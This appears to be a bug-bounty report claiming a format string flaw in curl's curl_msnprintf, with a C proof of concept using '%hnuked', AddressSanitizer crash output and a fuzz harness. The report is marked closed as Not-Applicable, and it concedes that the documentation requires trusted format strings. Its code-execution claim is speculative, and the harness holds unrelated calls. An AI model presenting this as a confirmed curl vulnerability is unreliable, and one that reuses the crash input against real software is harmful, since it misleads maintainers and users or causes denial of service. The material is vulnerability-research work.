Format string vulnerability, curl_msnprintf() function
Medium
C
curl
Submitted None
Actions:
Reported by
orcahack
Vulnerability Details
Technical details and impact analysis
## Summary:
A vulnerability has been identified in the curl library’s formatted output functions (specifically in curl_msnprintf and its related functions). When a malicious (attacker-controlled) format string containing the %hn conversion specifier is passed, the function incorrectly attempts to write the number of characters printed into a pointer that is not provided by the caller. This leads to a misaligned memory write (as demonstrated by a write to address 0x000000000001), resulting in undefined behavior and a crash. Although the API documentation warns that these functions are to be used with controlled format strings, the internal handling of %hn should not lead to such dangerous memory accesses even with untrusted input.
The curl_mprintf family (including curl_msnprintf) is designed to behave like standard printf-style functions. According to the documentation, these functions expect a valid format string and matching arguments. However, when a malicious format string such as "%hnuked" is used, no corresponding argument is provided for the %hn specifier. This causes the internal formatting routine (in mprintf.c, line 1047) to dereference an invalid pointer (which turns out to be 0x000000000001) and attempt a store of a short value. Because the address is both misaligned and invalid, this results in a memory safety violation (as detected by AddressSanitizer with a misaligned store error).
## Affected version
latest version from git
## Steps To Reproduce:
The following C code :
```
#include <stdio.h>
#include <curl/mprintf.h>
int main(void) {
char buffer[256];
const char *malicious_format = "%hnuked";
printf("Using malicious format string: \"%s\"\n", malicious_format);
curl_msnprintf(buffer, sizeof(buffer), malicious_format);
printf("Formatted output: %s\n", buffer);
return 0;
}
```
Should be compiled with AddressSanitizer enabled :
` clang-14 -fsanitize=address vuln-curl.c -I include/ -o vuln-curl ./lib/.libs/libcurl.a -lz -lpsl -lbrotlidec `
So running it will result in the following ASAN log :
```
./vuln-curl
Using malicious format string: "%hnuked"
mprintf.c:1047:9: runtime error: store to misaligned address 0x000000000001 for type 'short', which requires 2 byte alignment
0x000000000001: note: pointer points here
<memory cannot be printed>
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior mprintf.c:1047:9 in
AddressSanitizer:DEADLYSIGNAL
=================================================================
==80435==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000001 (pc 0x5d47e8ac3191 bp 0x7fff9e689450 sp 0x7fff9e6877e0 T0)
==80435==The signal is caused by a WRITE memory access.
==80435==Hint: address points to the zero page.
#0 0x5d47e8ac3191 in formatf /home/test/Documents/curl/lib/mprintf.c:1047:34
#1 0x5d47e8abf553 in curl_mvsnprintf /home/test/Documents/curl/lib/mprintf.c:1080:13
#2 0x5d47e8ac49ad in curl_msnprintf /home/test/Documents/curl/lib/mprintf.c:1100:13
#3 0x5d47e8abf2ed in main (/home/test/Documents/curl/vuln-curl+0x2bb2ed) (BuildId: 9d173a19c9f17931aa243f138ec604086bb81fa9)
#4 0x70b736e29d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#5 0x70b736e29e3f in __libc_start_main csu/../csu/libc-start.c:392:3
#6 0x5d47e8a015e4 in _start (/home/test/Documents/curl/vuln-curl+0x1fd5e4) (BuildId: 9d173a19c9f17931aa243f138ec604086bb81fa9)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/test/Documents/curl/lib/mprintf.c:1047:34 in formatf
==80435==ABORTING
```
The following supporting libfuzzer harness will also trigger the same bug :
```
#include <cstring>
#include <random>
#include "curl_hmac.h"
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
if (size == 0) return 0;
// Create a buffer to hold the formatted string
char buffer[256];
// Ensure the input data is null-terminated
std::vector<uint8_t> null_terminated_data(data, data + size);
null_terminated_data.push_back(0);
// Use curl_msnprintf to format the input data
curl_msnprintf(buffer, sizeof(buffer), reinterpret_cast<const char *>(null_terminated_data.data()));
// Open a file to write the output
FILE *out_file = fopen("output_file", "wb");
if (!out_file) {
return 0;
}
// Write the formatted string to the file
fwrite(buffer, sizeof(char), strlen(buffer), out_file);
fclose(out_file);
// Simulate a CURLUcode error and get the error string
CURLUcode error_code = CURLUE_BAD_HANDLE;
const char *error_str = curl_url_strerror(error_code);
// Open the input data as a file for reading
FILE *in_file = fmemopen((void *)data, size, "rb");
if (in_file) {
// Read headers from the input file using curl_pushheader_byname
struct curl_pushheaders *headers = nullptr;
char *header_value = curl_pushheader_byname(headers, "Content-Type");
if (header_value) {
free(header_value);
}
fclose(in_file);
}
return 0;
}
```
Recommendation:
Review and adjust the internal handling of dangerous conversion specifiers (such as %n and %hn) in the curl_mprintf implementation. Consider sanitizing or outright rejecting format strings that contain %n conversions when they could result in writing to uncontrolled memory locations.
References:
curl_mprintf documentation
ASAN output from the reproduction scenario
## Impact
## Summary:
Crash: In a scenario where untrusted input reaches curl_msnprintf (or similar functions), an attacker could force a denial-of-service by crashing the application.
Potential Exploitability: Although the immediate impact is a crash, memory corruption—even with a 2-byte misaligned write—could be leveraged further in some environments to achieve code execution, depending on additional context and heap state.
Report Details
Additional information and metadata
State
Closed
Substate
Not-Applicable
Submitted
Weakness
Use of Externally-Controlled Format String